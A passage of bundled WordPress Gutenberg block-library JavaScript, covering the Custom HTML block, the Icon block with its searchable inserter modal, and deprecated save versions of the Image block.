    category: "widgets",
    description: "Add custom HTML code and preview it as you edit.",
    keywords: ["embed"],
    textdomain: "default",
    attributes: {
      content: {
        type: "string",
        source: "raw",
        role: "content"
      }
    },
    supports: {
      customClassName: false,
      className: false,
      html: false,
      interactivity: {
        clientNavigation: true
      },
      customCSS: false,
      visibility: false
    },
    editorStyle: "wp-block-html-editor"
  };

  // packages/block-library/build-module/html/save.mjs
  var import_element40 = __toESM(require_element(), 1);
  var import_jsx_runtime271 = __toESM(require_jsx_runtime(), 1);
  function save25({ attributes: attributes2 }) {
    return /* @__PURE__ */ (0, import_jsx_runtime271.jsx)(import_element40.RawHTML, { children: attributes2.content });
  }

  // packages/block-library/build-module/html/transforms.mjs
  var import_blocks36 = __toESM(require_blocks(), 1);
  var import_rich_text3 = __toESM(require_rich_text(), 1);
  var transforms12 = {
    from: [
      {
        type: "block",
        blocks: ["core/code"],
        transform: ({ content: html }) => {
          return (0, import_blocks36.createBlock)("core/html", {
            // The code block may output HTML formatting, so convert it
            // to plain text.
            content: (0, import_rich_text3.create)({ html }).text
          });
        }
      }
    ]
  };
  var transforms_default13 = transforms12;

  // packages/block-library/build-module/html/index.mjs
  var { name: name42 } = block_default42;
  var settings42 = {
    icon: html_default,
    example: {
      attributes: {
        content: "<marquee>" + (0, import_i18n88.__)("Welcome to the wonderful world of blocks\u2026") + "</marquee>"
      }
    },
    edit: HTMLEdit,
    save: save25,
    transforms: transforms_default13
  };
  var init42 = () => initBlock({ name: name42, metadata: block_default42, settings: settings42 });

  // packages/block-library/build-module/icon/index.mjs
  var icon_exports = {};
  __export(icon_exports, {
    init: () => init43,
    metadata: () => block_default43,
    name: () => name43,
    settings: () => settings43
  });

  // packages/block-library/build-module/icon/edit.mjs
  var import_i18n91 = __toESM(require_i18n(), 1);
  var import_components52 = __toESM(require_components(), 1);
  var import_block_editor109 = __toESM(require_block_editor(), 1);
  var import_element42 = __toESM(require_element(), 1);
  var import_primitives162 = __toESM(require_primitives(), 1);
  var import_data45 = __toESM(require_data(), 1);
  var import_core_data22 = __toESM(require_core_data(), 1);

  // packages/block-library/build-module/icon/components/custom-inserter/index.mjs
  var import_i18n90 = __toESM(require_i18n(), 1);
  var import_components51 = __toESM(require_components(), 1);
  var import_element41 = __toESM(require_element(), 1);
  var import_compose21 = __toESM(require_compose(), 1);

  // packages/block-library/build-module/icon/components/custom-inserter/icon-grid.mjs
  var import_i18n89 = __toESM(require_i18n(), 1);
  var import_components50 = __toESM(require_components(), 1);
  var import_jsx_runtime272 = __toESM(require_jsx_runtime(), 1);
  function IconGrid({ icons, onChange, attributes: attributes2 }) {
    return /* @__PURE__ */ (0, import_jsx_runtime272.jsx)("div", { className: "wp-block-icon__inserter-grid", children: !icons?.length ? /* @__PURE__ */ (0, import_jsx_runtime272.jsx)("div", { className: "wp-block-icon__inserter-grid-no-results", children: /* @__PURE__ */ (0, import_jsx_runtime272.jsx)("p", { children: (0, import_i18n89.__)("No results found.") }) }) : /* @__PURE__ */ (0, import_jsx_runtime272.jsx)(
      "div",
      {
        className: "wp-block-icon__inserter-grid-icons-list",
        "aria-label": (0, import_i18n89.__)("Icon library"),
        children: icons.map((icon4) => {
          return /* @__PURE__ */ (0, import_jsx_runtime272.jsxs)(
            import_components50.Button,
            {
              className: "wp-block-icon__inserter-grid-icons-list-item",
              onClick: () => onChange(icon4.name),
              variant: icon4.name === attributes2?.icon ? "primary" : void 0,
              __next40pxDefaultSize: true,
              children: [
                /* @__PURE__ */ (0, import_jsx_runtime272.jsx)("span", { className: "wp-block-icon__inserter-grid-icons-list-item-icon", children: /* @__PURE__ */ (0, import_jsx_runtime272.jsx)(
                  html_renderer_default,
                  {
                    html: icon4.content,
                    wrapperProps: {
                      style: { width: "24px" }
                    }
                  }
                ) }),
                /* @__PURE__ */ (0, import_jsx_runtime272.jsx)("span", { className: "wp-block-icon__inserter-grid-icons-list-item-title", children: icon4.label })
              ]
            },
            icon4.name
          );
        })
      }
    ) });
  }

  // packages/block-library/build-module/utils/search-patterns.mjs
  var import_remove_accents4 = __toESM(require_remove_accents(), 1);
  function normalizeSearchInput(input = "") {
    input = (0, import_remove_accents4.default)(input);
    input = input.trim().toLowerCase();
    return input;
  }
  function getPatternSearchRank(pattern, searchValue) {
    const normalizedSearchValue = normalizeSearchInput(searchValue);
    const normalizedTitle = normalizeSearchInput(pattern.title);
    let rank = 0;
    if (normalizedSearchValue === normalizedTitle) {
      rank += 30;
    } else if (normalizedTitle.startsWith(normalizedSearchValue)) {
      rank += 20;
    } else {
      const searchTerms = normalizedSearchValue.split(" ");
      const hasMatchedTerms = searchTerms.every(
        (searchTerm) => normalizedTitle.includes(searchTerm)
      );
      if (hasMatchedTerms) {
        rank += 10;
      }
    }
    return rank;
  }
  function searchPatterns(patterns = [], searchValue = "") {
    if (!searchValue) {
      return patterns;
    }
    const rankedPatterns = patterns.map((pattern) => {
      return [pattern, getPatternSearchRank(pattern, searchValue)];
    }).filter(([, rank]) => rank > 0);
    rankedPatterns.sort(([, rank1], [, rank2]) => rank2 - rank1);
    return rankedPatterns.map(([pattern]) => pattern);
  }

  // packages/block-library/build-module/icon/components/custom-inserter/index.mjs
  var import_jsx_runtime273 = __toESM(require_jsx_runtime(), 1);
  function CustomInserterModal({
    icons = [],
    setInserterOpen,
    attributes: attributes2,
    setAttributes
  }) {
    const [searchInput, setSearchInput] = (0, import_element41.useState)("");
    const debouncedSetSearchInput = (0, import_compose21.useDebounce)(setSearchInput, 300);
    const setIcon = (0, import_element41.useCallback)(
      (name123) => {
        setAttributes({
          icon: name123
        });
        setInserterOpen(false);
      },
      [setAttributes, setInserterOpen]
    );
    const filteredIcons = (0, import_element41.useMemo)(() => {
      if (searchInput) {
        const input = normalizeSearchInput(searchInput);
        return icons.filter((icon4) => {
          const iconName = normalizeSearchInput(icon4.name);
          const iconLabel = normalizeSearchInput(icon4.label);
          return iconName.includes(input) || iconLabel.includes(input);
        });
      }
      return icons;
    }, [searchInput, icons]);
    return /* @__PURE__ */ (0, import_jsx_runtime273.jsx)(
      import_components51.Modal,
      {
        className: "wp-block-icon__inserter-modal",
        title: (0, import_i18n90.__)("Icon library"),
        onRequestClose: () => setInserterOpen(false),
        isFullScreen: true,
        children: /* @__PURE__ */ (0, import_jsx_runtime273.jsxs)("div", { className: "wp-block-icon__inserter", children: [
          /* @__PURE__ */ (0, import_jsx_runtime273.jsx)("div", { className: "wp-block-icon__inserter-header", children: /* @__PURE__ */ (0, import_jsx_runtime273.jsx)(
            import_components51.SearchControl,
            {
              value: searchInput,
              onChange: debouncedSetSearchInput
            }
          ) }),
          /* @__PURE__ */ (0, import_jsx_runtime273.jsx)(
            IconGrid,
            {
              icons: filteredIcons,
              onChange: setIcon,
              attributes: attributes2
            }
          )
        ] })
      }
    );
  }

  // packages/block-library/build-module/icon/edit.mjs
  var import_jsx_runtime274 = __toESM(require_jsx_runtime(), 1);
  var IconPlaceholder = ({ className, style: style2 }) => /* @__PURE__ */ (0, import_jsx_runtime274.jsxs)(
    import_primitives162.SVG,
    {
      xmlns: "http://www.w3.org/2000/svg",
      viewBox: "0 0 60 60",
      preserveAspectRatio: "none",
      fill: "none",
      "aria-hidden": "true",
      className: clsx_default("wp-block-icon__placeholder", className),
      style: style2,
      children: [
        /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(import_primitives162.Rect, { width: "60", height: "60", fill: "currentColor", fillOpacity: 0.1 }),
        /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(
          import_primitives162.Path,
          {
            vectorEffect: "non-scaling-stroke",
            stroke: "currentColor",
            strokeOpacity: 0.25,
            d: "M60 60 0 0"
          }
        )
      ]
    }
  );
  function Edit16({ attributes: attributes2, setAttributes }) {
    const { icon: icon4, ariaLabel } = attributes2;
    const [isInserterOpen, setInserterOpen] = (0, import_element42.useState)(false);
    const isContentOnlyMode = (0, import_block_editor109.useBlockEditingMode)() === "contentOnly";
    const colorProps = (0, import_block_editor109.__experimentalUseColorProps)(attributes2);
    const spacingProps = (0, import_block_editor109.__experimentalGetSpacingClassesAndStyles)(attributes2);
    const borderProps = (0, import_block_editor109.__experimentalUseBorderProps)(attributes2);
    const dimensionsProps = (0, import_block_editor109.getDimensionsClassesAndStyles)(attributes2);
    const { selectedIcon, allIcons = [] } = (0, import_data45.useSelect)(
      (select9) => {
        const { getEntityRecord, getEntityRecords } = select9(import_core_data22.store);
        return {
          selectedIcon: icon4 ? getEntityRecord("root", "icon", icon4) : null,
          allIcons: isInserterOpen ? getEntityRecords("root", "icon", {
            per_page: -1
          }) : void 0
        };
      },
      [isInserterOpen, icon4]
    );
    const iconToDisplay = selectedIcon?.content || "";
    const blockControls = /* @__PURE__ */ (0, import_jsx_runtime274.jsxs)(import_jsx_runtime274.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(import_block_editor109.BlockControls, { group: isContentOnlyMode ? "inline" : "other", children: /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(
        import_components52.ToolbarButton,
        {
          onClick: () => {
            setInserterOpen(true);
          },
          children: icon4 ? (0, import_i18n91.__)("Replace") : (0, import_i18n91.__)("Choose icon")
        }
      ) }),
      isContentOnlyMode && icon4 && // Add some extra controls for content attributes when content only mode is active.
      // With content only mode active, the inspector is hidden, so users need another way
      // to edit these attributes.
      /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(import_block_editor109.BlockControls, { group: "other", children: /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(import_components52.ToolbarGroup, { className: "components-toolbar-group", children: /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(
        import_components52.DropdownMenu,
        {
          icon: "",
          popoverProps: {
            className: "is-alternate"
          },
          text: (0, import_i18n91.__)("Label"),
          children: () => /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(
            import_components52.TextControl,
            {
              className: "wp-block-icon__toolbar-content",
              label: (0, import_i18n91.__)("Label"),
              value: ariaLabel || "",
              onChange: (value) => setAttributes({ ariaLabel: value }),
              help: (0, import_i18n91.__)(
                "Briefly describe the icon to help screen reader users. Leave blank for decorative icons."
              ),
              __next40pxDefaultSize: true
            }
          )
        }
      ) }) })
    ] });
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const inspectorControls = icon4 && /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(import_jsx_runtime274.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(import_block_editor109.InspectorControls, { group: "settings", children: /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(
      import_components52.__experimentalToolsPanel,
      {
        label: (0, import_i18n91.__)("Settings"),
        resetAll: () => setAttributes({
          ariaLabel: void 0
        }),
        dropdownMenuProps,
        children: /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(
          import_components52.__experimentalToolsPanelItem,
          {
            label: (0, import_i18n91.__)("Label"),
            isShownByDefault: true,
            hasValue: () => !!ariaLabel,
            onDeselect: () => setAttributes({ ariaLabel: void 0 }),
            children: /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(
              import_components52.TextControl,
              {
                label: (0, import_i18n91.__)("Label"),
                help: (0, import_i18n91.__)(
                  "Briefly describe the icon to help screen reader users. Leave blank for decorative icons."
                ),
                value: ariaLabel || "",
                onChange: (value) => setAttributes({ ariaLabel: value }),
                __next40pxDefaultSize: true
              }
            )
          }
        )
      }
    ) }) });
    return /* @__PURE__ */ (0, import_jsx_runtime274.jsxs)(import_jsx_runtime274.Fragment, { children: [
      blockControls,
      inspectorControls,
      /* @__PURE__ */ (0, import_jsx_runtime274.jsx)("div", { ...(0, import_block_editor109.useBlockProps)(), children: icon4 ? /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(
        html_renderer_default,
        {
          html: iconToDisplay,
          wrapperProps: {
            className: clsx_default(
              colorProps.className,
              borderProps.className,
              spacingProps.className,
              dimensionsProps.className
            ),
            style: {
              ...colorProps.style,
              ...borderProps.style,
              ...spacingProps.style,
              ...dimensionsProps.style
            }
          }
        }
      ) : /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(
        IconPlaceholder,
        {
          className: clsx_default(
            borderProps.className,
            spacingProps.className,
            dimensionsProps.className
          ),
          style: {
            ...borderProps.style,
            ...spacingProps.style,
            ...dimensionsProps.style,
            height: "auto"
          }
        }
      ) }),
      isInserterOpen && /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(
        CustomInserterModal,
        {
          icons: allIcons,
          setInserterOpen,
          attributes: attributes2,
          setAttributes
        }
      )
    ] });
  }
  var edit_default17 = Edit16;

  // packages/block-library/build-module/icon/block.json
  var block_default43 = {
    apiVersion: 3,
    $schema: "https://schemas.wp.org/trunk/block.json",
    name: "core/icon",
    title: "Icon",
    category: "media",
    description: "Insert an SVG icon.",
    keywords: ["icon", "svg"],
    textdomain: "default",
    attributes: {
      icon: {
        type: "string",
        role: "content"
      }
    },
    supports: {
      anchor: true,
      ariaLabel: {
        __experimentalSkipSerialization: true
      },
      align: ["left", "center", "right"],
      html: false,
      color: {
        background: true,
        text: true,
        __experimentalSkipSerialization: true
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          color: false,
          radius: false,
          style: false,
          width: false
        }
      },
      spacing: {
        padding: true,
        margin: true,
        __experimentalSkipSerialization: ["padding"],
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      dimensions: {
        width: true,
        __experimentalSkipSerialization: ["width"],
        __experimentalDefaultControls: {
          width: true
        }
      }
    },
    selectors: {
      root: ".wp-block-icon svg",
      css: ".wp-block-icon",
      spacing: {
        margin: ".wp-block-icon"
      }
    },
    style: "wp-block-icon",
    editorStyle: "wp-block-icon-editor"
  };

  // packages/block-library/build-module/icon/icon.mjs
  var import_components54 = __toESM(require_components(), 1);
  var import_jsx_runtime275 = __toESM(require_jsx_runtime(), 1);
  var icon3 = /* @__PURE__ */ (0, import_jsx_runtime275.jsx)(import_components54.SVG, { xmlns: "http://www.w3.org/2000/svg", width: "24", height: "24", fill: "none", children: /* @__PURE__ */ (0, import_jsx_runtime275.jsx)(import_components54.Path, { d: "M6 9.5h3.5V6H6v3.5Zm5 .5a1 1 0 0 1-.898.995L10 11H5.5l-.103-.005a1 1 0 0 1-.892-.893L4.5 10V5.5a1 1 0 0 1 1-1H10a1 1 0 0 1 1 1V10ZM18.25 7.75a2 2 0 1 0-4 0 2 2 0 0 0 4 0Zm1.5 0a3.5 3.5 0 1 1-7 0 3.5 3.5 0 0 1 7 0ZM6.88 13.535a1 1 0 0 1 1.74 0l2.534 4.472a1 1 0 0 1-.87 1.493H5.216a1 1 0 0 1-.87-1.493l2.534-4.472ZM6.074 18h3.352L7.75 15.041l-1.676 2.96ZM14.952 13h2.596a1 1 0 0 1 .866.5l1.298 2.25a1 1 0 0 1 0 1L18.414 19l-.074.11a1 1 0 0 1-.792.39h-2.596a1 1 0 0 1-.792-.39l-.074-.11-1.298-2.25a1.001 1.001 0 0 1 0-1l1.298-2.25a1 1 0 0 1 .866-.5Zm-.72 3.25 1.01 1.75h2.017l1.009-1.75-1.01-1.75h-2.017l-1.01 1.75Z" }) });
  var icon_default2 = icon3;

  // packages/block-library/build-module/icon/index.mjs
  var { name: name43 } = block_default43;
  var settings43 = {
    icon: icon_default2,
    example: {
      attributes: {
        icon: "core/audio",
        style: {
          dimensions: {
            width: "48px"
          }
        }
      }
    },
    edit: edit_default17
  };
  var init43 = () => initBlock({ name: name43, metadata: block_default43, settings: settings43 });

  // packages/block-library/build-module/image/index.mjs
  var image_exports = {};
  __export(image_exports, {
    init: () => init44,
    metadata: () => block_default44,
    name: () => name44,
    settings: () => settings44
  });
  var import_i18n95 = __toESM(require_i18n(), 1);
  var import_blocks40 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/image/deprecated.mjs
  var import_block_editor110 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime276 = __toESM(require_jsx_runtime(), 1);
  var v119 = {
    attributes: {
      url: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "src"
      },
      alt: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "alt",
        default: ""
      },
      caption: {
        type: "array",
        source: "children",
        selector: "figcaption"
      },
      href: {
        type: "string",
        source: "attribute",
        selector: "a",
        attribute: "href"
      },
      id: {
        type: "number"
      },
      align: {
        type: "string"
      },
      width: {
        type: "number"
      },
      height: {
        type: "number"
      }
    },
    save({ attributes: attributes2 }) {
      const { url, alt, caption, align, href, width, height } = attributes2;
      const extraImageProps = width || height ? { width, height } : {};
      const image = /* @__PURE__ */ (0, import_jsx_runtime276.jsx)("img", { src: url, alt, ...extraImageProps });
      let figureStyle = {};
      if (width) {
        figureStyle = { width };
      } else if (align === "left" || align === "right") {
        figureStyle = { maxWidth: "50%" };
      }
      return /* @__PURE__ */ (0, import_jsx_runtime276.jsxs)(
        "figure",
        {
          className: align ? `align${align}` : null,
          style: figureStyle,
          children: [
            href ? /* @__PURE__ */ (0, import_jsx_runtime276.jsx)("a", { href, children: image }) : image,
            !import_block_editor110.RichText.isEmpty(caption) && /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(import_block_editor110.RichText.Content, { tagName: "figcaption", value: caption })
          ]
        }
      );
    }
  };
  var v210 = {
    attributes: {
      url: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "src"
      },
      alt: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "alt",
        default: ""
      },
      caption: {
        type: "array",
        source: "children",
        selector: "figcaption"
      },
      href: {
        type: "string",
        source: "attribute",
        selector: "a",
        attribute: "href"
      },
      id: {
        type: "number"
      },
      align: {
        type: "string"
      },
      width: {
        type: "number"
      },
      height: {
        type: "number"
      }
    },
    save({ attributes: attributes2 }) {
      const { url, alt, caption, align, href, width, height, id } = attributes2;
      const image = /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
        "img",
        {
          src: url,
          alt,
          className: id ? `wp-image-${id}` : null,
          width,
          height
        }
      );
      return /* @__PURE__ */ (0, import_jsx_runtime276.jsxs)("figure", { className: align ? `align${align}` : null, children: [
        href ? /* @__PURE__ */ (0, import_jsx_runtime276.jsx)("a", { href, children: image }) : image,
        !import_block_editor110.RichText.isEmpty(caption) && /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(import_block_editor110.RichText.Content, { tagName: "figcaption", value: caption })
      ] });
    }
  };
  var v35 = {
    attributes: {
      url: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "src"
      },
      alt: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "alt",
        default: ""
      },
      caption: {
        type: "array",
        source: "children",
        selector: "figcaption"
      },
      href: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "href"
      },
      id: {
        type: "number"
      },
      align: {
        type: "string"
      },
      width: {
        type: "number"
      },
      height: {
        type: "number"
      },
      linkDestination: {
        type: "string",
        default: "none"
      }
    },
    save({ attributes: attributes2 }) {
      const { url, alt, caption, align, href, width, height, id } = attributes2;
      const classes = clsx_default({
        [`align${align}`]: align,
        "is-resized": width || height
      });
      const image = /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
        "img",
        {
          src: url,
          alt,
          className: id ? `wp-image-${id}` : null,
          width,
          height
        }
      );
      return /* @__PURE__ */ (0, import_jsx_runtime276.jsxs)("figure", { className: classes, children: [
        href ? /* @__PURE__ */ (0, import_jsx_runtime276.jsx)("a", { href, children: image }) : image,
        !import_block_editor110.RichText.isEmpty(caption) && /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(import_block_editor110.RichText.Content, { tagName: "figcaption", value: caption })
      ] });
    }
  };
  var v44 = {
    attributes: {
      align: {
        type: "string"
      },
      url: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "src"
      },
      alt: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "alt",
        default: ""
      },
      caption: {
        type: "string",
        source: "html",
        selector: "figcaption"
      },
      title: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "title"
      },
      href: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "href"
      },
      rel: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "rel"
      },
      linkClass: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "class"
      },
      id: {
        type: "number"
      },
      width: {
        type: "number"
      },
      height: {
        type: "number"
      },
      sizeSlug: {
        type: "string"
      },
      linkDestination: {
        type: "string"
      },
      linkTarget: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "target"
      }
    },
    supports: {
      anchor: true
    },
    save({ attributes: attributes2 }) {
      const {
        url,
        alt,
        caption,
        align,
        href,
        rel,
        linkClass,
        width,
        height,
        id,
        linkTarget,
        sizeSlug,
        title
      } = attributes2;
      const newRel = !rel ? void 0 : rel;
      const classes = clsx_default({
        [`align${align}`]: align,
        [`size-${sizeSlug}`]: sizeSlug,
        "is-resized": width || height
      });
      const image = /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
        "img",
        {
          src: url,
          alt,
          className: id ? `wp-image-${id}` : null,
          width,
          height,
          title
        }
      );
      const figure = /* @__PURE__ */ (0, import_jsx_runtime276.jsxs)(import_jsx_runtime276.Fragment, { children: [
        href ? /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
          "a",
          {
            className: linkClass,
            href,
            target: linkTarget,
            rel: newRel,
            children: image
          }
        ) : image,
        !import_block_editor110.RichText.isEmpty(caption) && /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(import_block_editor110.RichText.Content, { tagName: "figcaption", value: caption })
      ] });
      if ("left" === align || "right" === align || "center" === align) {
        return /* @__PURE__ */ (0, import_jsx_runtime276.jsx)("div", { ...import_block_editor110.useBlockProps.save(), children: /* @__PURE__ */ (0, import_jsx_runtime276.jsx)("figure", { className: classes, children: figure }) });
      }
      return /* @__PURE__ */ (0, import_jsx_runtime276.jsx)("figure", { ...import_block_editor110.useBlockProps.save({ className: classes }), children: figure });
    }
  };
  var v54 = {
    attributes: {
      align: {
        type: "string"
      },
      url: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "src"
      },
      alt: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "alt",
        default: ""
      },
      caption: {
        type: "string",
        source: "html",
        selector: "figcaption"
      },
      title: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "title"
      },
      href: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "href"
      },
      rel: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "rel"
      },
      linkClass: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "class"
      },
      id: {
        type: "number"
      },
      width: {
        type: "number"
      },
      height: {
        type: "number"
      },
      sizeSlug: {
        type: "string"
      },
      linkDestination: {
        type: "string"
      },
      linkTarget: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "target"
      }
    },
    supports: {
      anchor: true,
      color: {
        __experimentalDuotone: "img",
        text: false,
        background: false
      },
      __experimentalBorder: {
        radius: true,
        __experimentalDefaultControls: {
          radius: true
        }
      },
      __experimentalStyle: {
        spacing: {
          margin: "0 0 1em 0"
        }
      }
    },
    save({ attributes: attributes2 }) {
      const {
        url,
        alt,
        caption,
        align,
        href,
        rel,
        linkClass,
        width,
        height,
        id,
        linkTarget,
        sizeSlug,
        title
      } = attributes2;
      const newRel = !rel ? void 0 : rel;
      const classes = clsx_default({
        [`align${align}`]: align,
        [`size-${sizeSlug}`]: sizeSlug,
        "is-resized": width || height
      });
      const image = /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
        "img",
        {
          src: url,
          alt,
          className: id ? `wp-image-${id}` : null,
          width,
          height,
          title
        }
      );
      const figure = /* @__PURE__ */ (0, import_jsx_runtime276.jsxs)(import_jsx_runtime276.Fragment, { children: [
        href ? /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
          "a",
          {
            className: linkClass,
            href,
            target: linkTarget,
            rel: newRel,
            children: image
          }
        ) : image,
        !import_block_editor110.RichText.isEmpty(caption) && /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(import_block_editor110.RichText.Content, { tagName: "figcaption", value: caption })
      ] });
      return /* @__PURE__ */ (0, import_jsx_runtime276.jsx)("figure", { ...import_block_editor110.useBlockProps.save({ className: classes }), children: figure });
    }
  };
  var v64 = {
    attributes: {
      align: {
        type: "string"
      },
      url: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "src",
        role: "content"
      },
      alt: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "alt",
        default: "",
        role: "content"
      },
      caption: {
        type: "string",
        source: "html",
        selector: "figcaption",
        role: "content"
      },
      title: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "title",
        role: "content"
      },
      href: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "href",
        role: "content"
      },
      rel: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "rel"
      },
      linkClass: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "class"
      },
      id: {
        type: "number",
        role: "content"
      },
      width: {
        type: "number"
      },
      height: {
        type: "number"
      },
      aspectRatio: {
        type: "string"
      },
      scale: {
        type: "string"
      },
      sizeSlug: {
        type: "string"
      },
      linkDestination: {
        type: "string"
      },
      linkTarget: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "target"
      }
    },
    supports: {
      anchor: true,
      color: {
        text: false,
        background: false
      },
      filter: {
        duotone: true
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        width: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          width: true
        }
      }
    },
    migrate(attributes2) {
      const { height, width } = attributes2;
      return {
        ...attributes2,
        width: typeof width === "number" ? `${width}px` : width,
        height: typeof height === "number" ? `${height}px` : height
      };
    },
    save({ attributes: attributes2 }) {
      const {
        url,
        alt,
        caption,
        align,
        href,
        rel,
        linkClass,
        width,
        height,
        aspectRatio,
        scale,
        id,
        linkTarget,
        sizeSlug,
        title
      } = attributes2;
      const newRel = !rel ? void 0 : rel;
      const borderProps = (0, import_block_editor110.__experimentalGetBorderClassesAndStyles)(attributes2);
      const classes = clsx_default({
        [`align${align}`]: align,
        [`size-${sizeSlug}`]: sizeSlug,
        "is-resized": width || height,
        "has-custom-border": !!borderProps.className || borderProps.style && Object.keys(borderProps.style).length > 0
      });
      const imageClasses = clsx_default(borderProps.className, {
        [`wp-image-${id}`]: !!id
      });
      const image = /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
        "img",
        {
          src: url,
          alt,
          className: imageClasses || void 0,
          style: {
            ...borderProps.style,
            aspectRatio,
            objectFit: scale
          },
          width,
          height,
          title
        }
      );
      const figure = /* @__PURE__ */ (0, import_jsx_runtime276.jsxs)(import_jsx_runtime276.Fragment, { children: [
        href ? /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
          "a",
          {
            className: linkClass,
            href,
            target: linkTarget,
            rel: newRel,
            children: image
          }
        ) : image,
        !import_block_editor110.RichText.isEmpty(caption) && /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
          import_block_editor110.RichText.Content,
          {
            className: (0, import_block_editor110.__experimentalGetElementClassName)(
              "caption"
            ),
            tagName: "figcaption",
            value: caption
          }
        )
      ] });
      return /* @__PURE__ */ (0, import_jsx_runtime276.jsx)("figure", { ...import_block_editor110.useBlockProps.save({ className: classes }), children: figure });
    }
  };
  var v73 = {
    attributes: {
      align: {
        type: "string"
      },
      url: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "src",
        role: "content"
      },
      alt: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "alt",
        default: "",
        role: "content"
      },
      caption: {
        type: "string",
        source: "html",
        selector: "figcaption",
        role: "content"
      },
      title: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "title",
        role: "content"
      },
      href: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "href",
        role: "content"
      },
      rel: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "rel"
      },
      linkClass: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "class"
      },
      id: {
        type: "number",
        role: "content"
      },
      width: {
        type: "number"
      },
      height: {
        type: "number"
      },
      aspectRatio: {
        type: "string"
      },
      scale: {
        type: "string"
      },
      sizeSlug: {
        type: "string"
      },
      linkDestination: {
        type: "string"
      },
      linkTarget: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "target"
      }
    },
    supports: {
      anchor: true,
      color: {
        text: false,
        background: false
      },
      filter: {
        duotone: true
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        width: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          width: true
        }
      }
    },
    migrate({ width, height, ...attributes2 }) {
      return {
        ...attributes2,
        width: `${width}px`,
        height: `${height}px`
      };
    },
    save({ attributes: attributes2 }) {
      const {
        url,
        alt,
        caption,
        align,
        href,
        rel,
        linkClass,
        width,
        height,
        aspectRatio,
        scale,
        id,
        linkTarget,
        sizeSlug,
        title
      } = attributes2;
      const newRel = !rel ? void 0 : rel;
      const borderProps = (0, import_block_editor110.__experimentalGetBorderClassesAndStyles)(attributes2);
      const classes = clsx_default({
        [`align${align}`]: align,
        [`size-${sizeSlug}`]: sizeSlug,
        "is-resized": width || height,
        "has-custom-border": !!borderProps.className || borderProps.style && Object.keys(borderProps.style).length > 0
      });
      const imageClasses = clsx_default(borderProps.className, {
        [`wp-image-${id}`]: !!id
      });
